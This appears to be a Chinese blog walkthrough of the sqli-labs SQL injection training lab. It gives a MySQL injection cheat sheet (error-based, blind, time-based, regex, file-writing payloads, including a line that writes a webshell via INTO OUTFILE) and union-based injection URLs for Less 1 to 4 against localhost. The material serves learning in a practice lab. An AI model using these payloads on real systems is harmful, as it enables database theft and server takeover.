sqli-labs

开始撸一波sqli-labs,加油~

基础知识:

这里参考一下IV4N大佬的博客,整理的超级棒

SCHEMATA表

储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES表

储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表

提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表

version()——MySQL 版本

user()——数据库用户名

current_user——当前用户名

database()——数据库名

@@datadir——数据库路径

@@version_compile_os——操作系统版本

into outfile——写入文件,select '一句话木马' into outfile "/var/www/html/test.php"

数据库插入语句:insert into [table] values(a,b,c);

删除语句:delete from [table] where id=1;

1
drop database [datebase];`,`drop table [table];`,`alter table [table] drop column [column];

修改:update [table] set [column] = 'abc' where id =1;

concat(str1,str2,…)——无分隔符地连接字符串

concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串

group_concat(group SEPARATOR ‘;’ )——连接一组字符串,后可加GROUP BY

extractvalue() 从xml中提取数据

盲注

length()

mid(str,n,m) 从str的第n个数开始提取m个 //与vb的mid()函数相同

substr(str,n,m) 从str的第n个数开始提取m个

left(str,n) 从左开始提取n个 //与vb的left()函数相同

ord() 字符=>ascii //与python的ord()函数相同

ascii() 同ord()

Time-Based

BENCHMARK(count,func())

sleep()

if(a,t,f) //同a?t:f

Wrong-Based

使用group by对rand()函数操作时会返回duplicate key error

rand(int) //以int为种子生成伪随机数

floor() //向下取整

count() //统计个数

  • and extractvalue(1, concat(0x25, (select table_name from information_schema.tables limit 1)));
  • and 1=(updatexml(1,concat(0x25,(select user())),1))
  • and(select 1 from(select count(),concat((select (select (select concat(0x25,(select username from users where id=1),0x25))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)#
  • and select from(select from table a join table b)as c

正则注入

Mysql中的RE和大多数编程语言中的相同,不赘述

select user() regexp '^[a-z]' 正确时返回1,错误返回0

select * from * where id =1 and 1=(user() regexp '^[a-z]{4}')

regexp可替换为like

操作文件

and (select count(*) from mysql.user)>0 //返回正常说明有读取权限

select * INTO OUTFILE 'file_name' //写入文件,文件不能存在

爆数据库 select schema_name from information_schema.schemata

爆某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’

爆某表的所有列 select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容 select xx_column from xx_table

列出所有的数据库 select group_concat(schema_name) from information_schema.schemata

列出某个库当中所有的表 select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

系统数据库——information_schema,包含所有数据库相关信息

information_schema.schemata中schema_name列,字段为所有库名

information_schema.tables中table_name列对应数据库所有表名,与table_schema列对应

information_schema.columns同理,column_name与table_schema和table_name对应

Less 1

这一关先测试一下属于字符型注入

?id=1'and '1'='1回显正常,?id=1'and '1'='2报错,确定是字符型注入。

使用order by排序试得有3行。继续用联合注入union select 1,2,3--+发现在2和3位置有回显,所以要在2,3两个位置注入和查询。

先查数据库和数据库版本?id=-1'union select 1,database(),version()--+发现显示出来了当前数据库和版本。

列所有数据库:http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),concat(%27;%27,schema_name)%20from%20information_schema.schemata--+

列数据库当前表:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_name= 'security'--+

为了方便练习,自己加了个flag数据库还有fl4g的表,以后爆出fl4g数据即可

爆flag数据库的表:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'flag'--+

爆fl4g这个表的列:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'--+

Less 2 (基于错误的GET整型注入)

第二关还是手动输入单引号测试,发现报错,单引号影响了闭合,所以这个可能不是字符型注入。

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,2,3--+测试发现在2,3有回显,所以和第一关一样依次查询就好。

爆当前数据库和版本:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,database(),version()--+

查询所有数据库:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

查flag数据库的表:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'flag'

查fl4g表的字段http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'--+

Less 3(基于错误的GET单引号变形字符型注入)

输入单引号测试发现报错是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'') LIMIT 0,1' at line 1

发现多了个括号,于是把括号闭合一下就可以了,后台应该是把输入的id写成('$id')这样了

测试发现http://localhost/sqli-labs-master/Less-3/?id=-1%27%20)%20union%20select%201,2,3--+在2,3位有回显所以和前两关差不多依次爆数据库,爆表,爆列,字段

列所有数据库:http://localhost/sqli-labs-master/Less-3/?id=-1' ) union select 1,group_concat(schema_name),3 from information_schema.schemata--+

这里不一一赘述了,直接给出后面payload

http://localhost/sqli-labs-master/Less-3/?id=-1' ) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'--+

Less 4(基于错误的GET双引号字符型注入)

通过单引号测试发现没有异常,于是双引号测试一下,发现报错

sql后台可能是(“$id”)这样写的,于是把双引号和反括号都闭合一下就好。

还是在2,3位置有回显,于是继续用联合查询,列出所有数据库。

payload:http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata--+

在后台查询的语句其实是:SELECT * FROM users WHERE id=("-1") union select 1,group_concat(schema_name),3 from information_schema.schemata-- ") LIMIT 0,1可以看到双引号和括号都闭合了。

继续爆表,依次进行。。。

http://localhost/sqli-labs-master/Less-4/?id=-1" ) union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='fl4g'--+

Less 5(双注入GET单引号字符型注入)

这一关是双注入,不过貌似也有人当盲注做出来了or2

双注入解释起来有点复杂,所以看一下这个文章

坚持原创技术分享,您的支持将鼓励我继续创作!